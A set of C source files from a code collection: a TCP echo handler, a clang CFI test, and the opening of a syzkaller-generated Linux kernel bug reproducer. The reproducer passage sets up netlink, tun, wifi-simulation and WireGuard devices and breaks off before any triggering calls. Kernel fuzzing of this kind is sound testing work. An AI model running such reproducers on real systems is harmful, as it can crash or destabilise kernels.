#include <stdio.h> /* for printf() and fprintf() */ #include <sys/socket.h> /* for recv() and send() */ #include <unistd.h> /* for close() */ #define RCVBUFSIZE 32 /* Size of receive buffer */ void DieWithError(char *errorMessage); /* Error handling function */ void HandleTCPClient(int clntSocket) { char echoBuffer[RCVBUFSIZE]; /* Buffer for echo string */ int recvMsgSize; /* Size of received message */ /* Receive message from client */ if ((recvMsgSize = recv(clntSocket, echoBuffer, RCVBUFSIZE, 0)) < 0) DieWithError("recv() failed"); /* Send received string and receive again until end of transmission */ while (recvMsgSize > 0) /* zero indicates end of transmission */ { /* Echo message back to client */ if (send(clntSocket, echoBuffer, recvMsgSize, 0) != recvMsgSize) DieWithError("send() failed"); /* See if there is more data to receive */ if ((recvMsgSize = recv(clntSocket, echoBuffer, RCVBUFSIZE, 0)) < 0) DieWithError("recv() failed"); } close(clntSocket); /* Close client socket */ }
the_stack_data/30621.c
// RUN: %clang_cc1 -triple x86_64-unknown-linux -fsanitize=cfi-icall -fsanitize-trap=cfi-icall -emit-llvm -o - %s | FileCheck --check-prefix=ITANIUM %s // RUN: %clang_cc1 -triple x86_64-pc-windows-msvc -fsanitize=cfi-icall -fsanitize-trap=cfi-icall -emit-llvm -o - %s | FileCheck --check-prefix=MS %s // Tests that we assign appropriate identifiers to unprototyped functions. void f() { } void xf(); void g(int b) { void (*fp)() = b ? f : xf; // ITANIUM: call i1 @llvm.bitset.test(i8* {{.*}}, metadata !"_ZTSFvE") fp(); } // ITANIUM-DAG: !{!"_ZTSFvE", void ()* @f, i64 0} // ITANIUM-DAG: !{!"_ZTSFvE", void (...)* @xf, i64 0} // MS-DAG: !{!"?6AX@Z", void ()* @f, i64 0} // MS-DAG: !{!"?6AX@Z", void (...)* @xf, i64 0}
the_stack_data/2037.c
// SYZFAIL: netlink_send_ext: netlink read failed // https://syzkaller.appspot.com/bug?id=a101d18bc94b5551eca6 // status:0 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <arpa/inet.h> #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <net/if.h> #include <net/if_arp.h> #include <netinet/in.h> #include <pthread.h> #include <sched.h> #include <setjmp.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/epoll.h> #include <sys/ioctl.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/capability.h> #include <linux/futex.h> #include <linux/genetlink.h> #include <linux/if_addr.h> #include <linux/if_ether.h> #include <linux/if_link.h> #include <linux/if_tun.h> #include <linux/in6.h> #include <linux/ip.h> #include <linux/neighbour.h> #include <linux/net.h> #include <linux/netlink.h> #include <linux/nl80211.h> #include <linux/rfkill.h> #include <linux/rtnetlink.h> #include <linux/tcp.h> #include <linux/veth.h> static unsigned long long procid; static __thread int skip_segv; static __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* ctx) { uintptr_t addr = (uintptr_t)info->si_addr; const uintptr_t prog_start = 1 << 20; const uintptr_t prog_end = 100 << 20; int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0; int valid = addr < prog_start || addr > prog_end; if (skip && valid) { _longjmp(segv_env, 1); } exit(sig); } static void install_segv_handler(void) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8); syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8); memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) \ ({ \ int ok = 1; \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } else \ ok = 0; \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ ok; \ }) static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void use_temporary_dir(void) { char tmpdir_template[] = "./syzkaller.XXXXXX"; char* tmpdir = mkdtemp(tmpdir_template); if (!tmpdir) exit(1); if (chmod(tmpdir, 0777)) exit(1); if (chdir(tmpdir)) exit(1); } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } #define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off)) #define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \ *(type*)(addr) = \ htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \ (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len)))) typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } struct nlmsg { char* pos; int nesting; struct nlattr* nested[8]; char buf[4096]; }; static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, const void* data, int size) { memset(nlmsg, 0, sizeof(*nlmsg)); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_type = typ; hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; memcpy(hdr + 1, data, size); nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); } static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, int size) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_len = sizeof(*attr) + size; attr->nla_type = typ; if (size > 0) memcpy(attr + 1, data, size); nlmsg->pos += NLMSG_ALIGN(attr->nla_len); } static void netlink_nest(struct nlmsg* nlmsg, int typ) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_type = typ; nlmsg->pos += sizeof(*attr); nlmsg->nested[nlmsg->nesting++] = attr; } static void netlink_done(struct nlmsg* nlmsg) { struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; attr->nla_len = nlmsg->pos - (char*)attr; } static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, int* reply_len, bool dofail) { if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) exit(1); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr)); if (n != (ssize_t)hdr->nlmsg_len) { if (dofail) exit(1); return -1; } n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); if (reply_len) *reply_len = 0; if (n < 0) { if (dofail) exit(1); return -1; } if (n < (ssize_t)sizeof(struct nlmsghdr)) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type == NLMSG_DONE) return 0; if (reply_len && hdr->nlmsg_type == reply_type) { *reply_len = n; return 0; } if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type != NLMSG_ERROR) { errno = EINVAL; if (dofail) exit(1); return -1; } errno = -((struct nlmsgerr*)(hdr + 1))->error; return -errno; } static int netlink_send(struct nlmsg* nlmsg, int sock) { return netlink_send_ext(nlmsg, sock, 0, NULL, true); } static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, const char* family_name, bool dofail) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = CTRL_CMD_GETFAMILY; netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, strnlen(family_name, GENL_NAMSIZ - 1) + 1); int n = 0; int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail); if (err < 0) { return -1; } uint16_t id = 0; struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { id = *(uint16_t*)(attr + 1); break; } } if (!id) { errno = EINVAL; return -1; } recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); return id; } static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset, unsigned int total_len) { struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset); if (offset == total_len || offset + hdr->nlmsg_len > total_len) return -1; return hdr->nlmsg_len; } static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, const char* name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); if (name) netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name)); netlink_nest(nlmsg, IFLA_LINKINFO); netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type)); } static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type, const char* name) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, const char* peer) { netlink_add_device_impl(nlmsg, "veth", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_nest(nlmsg, VETH_INFO_PEER); nlmsg->pos += sizeof(struct ifinfomsg); netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer)); netlink_done(nlmsg); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name, const char* slave1, const char* slave2) { netlink_add_device_impl(nlmsg, "hsr", name); netlink_nest(nlmsg, IFLA_INFO_DATA); int ifindex1 = if_nametoindex(slave1); netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1)); int ifindex2 = if_nametoindex(slave2); netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, const char* name, const char* link) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t id, uint16_t proto) { netlink_add_device_impl(nlmsg, "vlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id)); netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link) { netlink_add_device_impl(nlmsg, "macvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); uint32_t mode = MACVLAN_MODE_BRIDGE; netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, uint32_t vni, struct in_addr* addr4, struct in6_addr* addr6) { netlink_add_device_impl(nlmsg, "geneve", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni)); if (addr4) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4)); if (addr6) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } #define IFLA_IPVLAN_FLAGS 2 #define IPVLAN_MODE_L3S 2 #undef IPVLAN_F_VEPA #define IPVLAN_F_VEPA 2 static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t mode, uint16_t flags) { netlink_add_device_impl(nlmsg, "ipvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode)); netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_device_change(struct nlmsg* nlmsg, int sock, const char* name, bool up, const char* master, const void* mac, int macsize, const char* new_name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; hdr.ifi_index = if_nametoindex(name); netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); if (new_name) netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); if (master) { int ifindex = if_nametoindex(master); netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); } if (macsize) netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, const void* addr, int addrsize) { struct ifaddrmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; hdr.ifa_scope = RT_SCOPE_UNIVERSE; hdr.ifa_index = if_nametoindex(dev); netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); return netlink_send(nlmsg, sock); } static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in_addr in_addr; inet_pton(AF_INET, addr, &in_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); if (err < 0) { } } static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in6_addr in6_addr; inet_pton(AF_INET6, addr, &in6_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); if (err < 0) { } } static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name, const void* addr, int addrsize, const void* mac, int macsize) { struct ndmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ndm_ifindex = if_nametoindex(name); hdr.ndm_state = NUD_PERMANENT; netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, NDA_DST, addr, addrsize); netlink_attr(nlmsg, NDA_LLADDR, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static struct nlmsg nlmsg; static int tunfd = -1; #define TUN_IFACE "syz_tun" #define LOCAL_MAC 0xaaaaaaaaaaaa #define REMOTE_MAC 0xaaaaaaaaaabb #define LOCAL_IPV4 "172.20.20.170" #define REMOTE_IPV4 "172.20.20.187" #define LOCAL_IPV6 "fe80::aa" #define REMOTE_IPV6 "fe80::bb" #define IFF_NAPI 0x0010 static void initialize_tun(void) { tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK); if (tunfd == -1) { printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n"); printf("otherwise fuzzing or reproducing might not work as intended\n"); return; } const int kTunFd = 240; if (dup2(tunfd, kTunFd) < 0) exit(1); close(tunfd); tunfd = kTunFd; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ); ifr.ifr_flags = IFF_TAP | IFF_NO_PI; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) { exit(1); } char sysctl[64]; sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE); write_file(sysctl, "0"); sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE); write_file(sysctl, "0"); int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4); netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6); uint64_t macaddr = REMOTE_MAC; struct in_addr in_addr; inet_pton(AF_INET, REMOTE_IPV4, &in_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr), &macaddr, ETH_ALEN); struct in6_addr in6_addr; inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr), &macaddr, ETH_ALEN); macaddr = LOCAL_MAC; netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN, NULL); close(sock); } #define DEVLINK_FAMILY_NAME "devlink" #define DEVLINK_CMD_PORT_GET 5 #define DEVLINK_ATTR_BUS_NAME 1 #define DEVLINK_ATTR_DEV_NAME 2 #define DEVLINK_ATTR_NETDEV_NAME 7 static struct nlmsg nlmsg2; static void initialize_devlink_ports(const char* bus_name, const char* dev_name, const char* netdev_prefix) { struct genlmsghdr genlhdr; int len, total_len, id, err, offset; uint16_t netdev_index; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) exit(1); int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (rtsock == -1) exit(1); id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true); if (id == -1) goto error; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = DEVLINK_CMD_PORT_GET; netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1); netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1); err = netlink_send_ext(&nlmsg, sock, id, &total_len, true); if (err < 0) { goto error; } offset = 0; netdev_index = 0; while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) { struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg.buf + offset + len; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) { char* port_name; char netdev_name[IFNAMSIZ]; port_name = (char*)(attr + 1); snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, netdev_index); netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, netdev_name); break; } } offset += len; netdev_index++; } error: close(rtsock); close(sock); } #define WIFI_INITIAL_DEVICE_COUNT 2 #define WIFI_MAC_BASE \ { \ 0x08, 0x02, 0x11, 0x00, 0x00, 0x00 \ } #define WIFI_IBSS_BSSID \ { \ 0x50, 0x50, 0x50, 0x50, 0x50, 0x50 \ } #define WIFI_IBSS_SSID \ { \ 0x10, 0x10, 0x10, 0x10, 0x10, 0x10 \ } #define WIFI_DEFAULT_FREQUENCY 2412 #define WIFI_DEFAULT_SIGNAL 0 #define WIFI_DEFAULT_RX_RATE 1 #define HWSIM_CMD_REGISTER 1 #define HWSIM_CMD_FRAME 2 #define HWSIM_CMD_NEW_RADIO 4 #define HWSIM_ATTR_SUPPORT_P2P_DEVICE 14 #define HWSIM_ATTR_PERM_ADDR 22 #define IF_OPER_UP 6 struct join_ibss_props { int wiphy_freq; bool wiphy_freq_fixed; uint8_t* mac; uint8_t* ssid; int ssid_len; }; static int set_interface_state(const char* interface_name, int on) { struct ifreq ifr; int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { return -1; } memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, interface_name); int ret = ioctl(sock, SIOCGIFFLAGS, &ifr); if (ret < 0) { close(sock); return -1; } if (on) ifr.ifr_flags |= IFF_UP; else ifr.ifr_flags &= ~IFF_UP; ret = ioctl(sock, SIOCSIFFLAGS, &ifr); close(sock); if (ret < 0) { return -1; } return 0; } static int nl80211_set_interface(struct nlmsg* nlmsg, int sock, int nl80211_family, uint32_t ifindex, uint32_t iftype) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = NL80211_CMD_SET_INTERFACE; netlink_init(nlmsg, nl80211_family, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, NL80211_ATTR_IFINDEX, &ifindex, sizeof(ifindex)); netlink_attr(nlmsg, NL80211_ATTR_IFTYPE, &iftype, sizeof(iftype)); int err = netlink_send(nlmsg, sock); if (err < 0) { } return err; } static int nl80211_join_ibss(struct nlmsg* nlmsg, int sock, int nl80211_family, uint32_t ifindex, struct join_ibss_props* props) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = NL80211_CMD_JOIN_IBSS; netlink_init(nlmsg, nl80211_family, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, NL80211_ATTR_IFINDEX, &ifindex, sizeof(ifindex)); netlink_attr(nlmsg, NL80211_ATTR_SSID, props->ssid, props->ssid_len); netlink_attr(nlmsg, NL80211_ATTR_WIPHY_FREQ, &(props->wiphy_freq), sizeof(props->wiphy_freq)); if (props->mac) netlink_attr(nlmsg, NL80211_ATTR_MAC, props->mac, ETH_ALEN); if (props->wiphy_freq_fixed) netlink_attr(nlmsg, NL80211_ATTR_FREQ_FIXED, NULL, 0); int err = netlink_send(nlmsg, sock); if (err < 0) { } return err; } static int get_ifla_operstate(struct nlmsg* nlmsg, int ifindex) { struct ifinfomsg info; memset(&info, 0, sizeof(info)); info.ifi_family = AF_UNSPEC; info.ifi_index = ifindex; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) { return -1; } netlink_init(nlmsg, RTM_GETLINK, 0, &info, sizeof(info)); int n; int err = netlink_send_ext(nlmsg, sock, RTM_NEWLINK, &n, true); close(sock); if (err) { return -1; } struct rtattr* attr = IFLA_RTA(NLMSG_DATA(nlmsg->buf)); for (; RTA_OK(attr, n); attr = RTA_NEXT(attr, n)) { if (attr->rta_type == IFLA_OPERSTATE) return *((int32_t*)RTA_DATA(attr)); } return -1; } static int await_ifla_operstate(struct nlmsg* nlmsg, char* interface, int operstate) { int ifindex = if_nametoindex(interface); while (true) { usleep(1000); int ret = get_ifla_operstate(nlmsg, ifindex); if (ret < 0) return ret; if (ret == operstate) return 0; } return 0; } static int nl80211_setup_ibss_interface(struct nlmsg* nlmsg, int sock, int nl80211_family_id, char* interface, struct join_ibss_props* ibss_props) { int ifindex = if_nametoindex(interface); if (ifindex == 0) { return -1; } int ret = nl80211_set_interface(nlmsg, sock, nl80211_family_id, ifindex, NL80211_IFTYPE_ADHOC); if (ret < 0) { return -1; } ret = set_interface_state(interface, 1); if (ret < 0) { return -1; } ret = nl80211_join_ibss(nlmsg, sock, nl80211_family_id, ifindex, ibss_props); if (ret < 0) { return -1; } return 0; } static int hwsim80211_create_device(struct nlmsg* nlmsg, int sock, int hwsim_family, uint8_t mac_addr[ETH_ALEN]) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = HWSIM_CMD_NEW_RADIO; netlink_init(nlmsg, hwsim_family, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, HWSIM_ATTR_SUPPORT_P2P_DEVICE, NULL, 0); netlink_attr(nlmsg, HWSIM_ATTR_PERM_ADDR, mac_addr, ETH_ALEN); int err = netlink_send(nlmsg, sock); if (err < 0) { } return err; } static void initialize_wifi_devices(void) { uint8_t mac_addr[6] = WIFI_MAC_BASE; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { return; } int hwsim_family_id = netlink_query_family_id(&nlmsg, sock, "MAC80211_HWSIM", true); int nl80211_family_id = netlink_query_family_id(&nlmsg, sock, "nl80211", true); uint8_t ssid[] = WIFI_IBSS_SSID; uint8_t bssid[] = WIFI_IBSS_BSSID; struct join_ibss_props ibss_props = {.wiphy_freq = WIFI_DEFAULT_FREQUENCY, .wiphy_freq_fixed = true, .mac = bssid, .ssid = ssid, .ssid_len = sizeof(ssid)}; for (int device_id = 0; device_id < WIFI_INITIAL_DEVICE_COUNT; device_id++) { mac_addr[5] = device_id; int ret = hwsim80211_create_device(&nlmsg, sock, hwsim_family_id, mac_addr); if (ret < 0) exit(1); char interface[6] = "wlan0"; interface[4] += device_id; if (nl80211_setup_ibss_interface(&nlmsg, sock, nl80211_family_id, interface, &ibss_props) < 0) exit(1); } for (int device_id = 0; device_id < WIFI_INITIAL_DEVICE_COUNT; device_id++) { char interface[6] = "wlan0"; interface[4] += device_id; int ret = await_ifla_operstate(&nlmsg, interface, IF_OPER_UP); if (ret < 0) exit(1); } close(sock); } #define DEV_IPV4 "172.20.20.%d" #define DEV_IPV6 "fe80::%02x" #define DEV_MAC 0x00aaaaaaaaaa static void netdevsim_add(unsigned int addr, unsigned int port_count) { char buf[16]; sprintf(buf, "%u %u", addr, port_count); if (write_file("/sys/bus/netdevsim/new_device", buf)) { snprintf(buf, sizeof(buf), "netdevsim%d", addr); initialize_devlink_ports("netdevsim", buf, "netdevsim"); } } #define WG_GENL_NAME "wireguard" enum wg_cmd { WG_CMD_GET_DEVICE, WG_CMD_SET_DEVICE, }; enum wgdevice_attribute { WGDEVICE_A_UNSPEC, WGDEVICE_A_IFINDEX, WGDEVICE_A_IFNAME, WGDEVICE_A_PRIVATE_KEY, WGDEVICE_A_PUBLIC_KEY, WGDEVICE_A_FLAGS, WGDEVICE_A_LISTEN_PORT, WGDEVICE_A_FWMARK, WGDEVICE_A_PEERS, }; enum wgpeer_attribute { WGPEER_A_UNSPEC, WGPEER_A_PUBLIC_KEY, WGPEER_A_PRESHARED_KEY, WGPEER_A_FLAGS, WGPEER_A_ENDPOINT, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, WGPEER_A_LAST_HANDSHAKE_TIME, WGPEER_A_RX_BYTES, WGPEER_A_TX_BYTES, WGPEER_A_ALLOWEDIPS, WGPEER_A_PROTOCOL_VERSION, }; enum wgallowedip_attribute { WGALLOWEDIP_A_UNSPEC, WGALLOWEDIP_A_FAMILY, WGALLOWEDIP_A_IPADDR, WGALLOWEDIP_A_CIDR_MASK, }; static void netlink_wireguard_setup(void) { const char ifname_a[] = "wg0"; const char ifname_b[] = "wg1"; const char ifname_c[] = "wg2"; const char private_a[] = 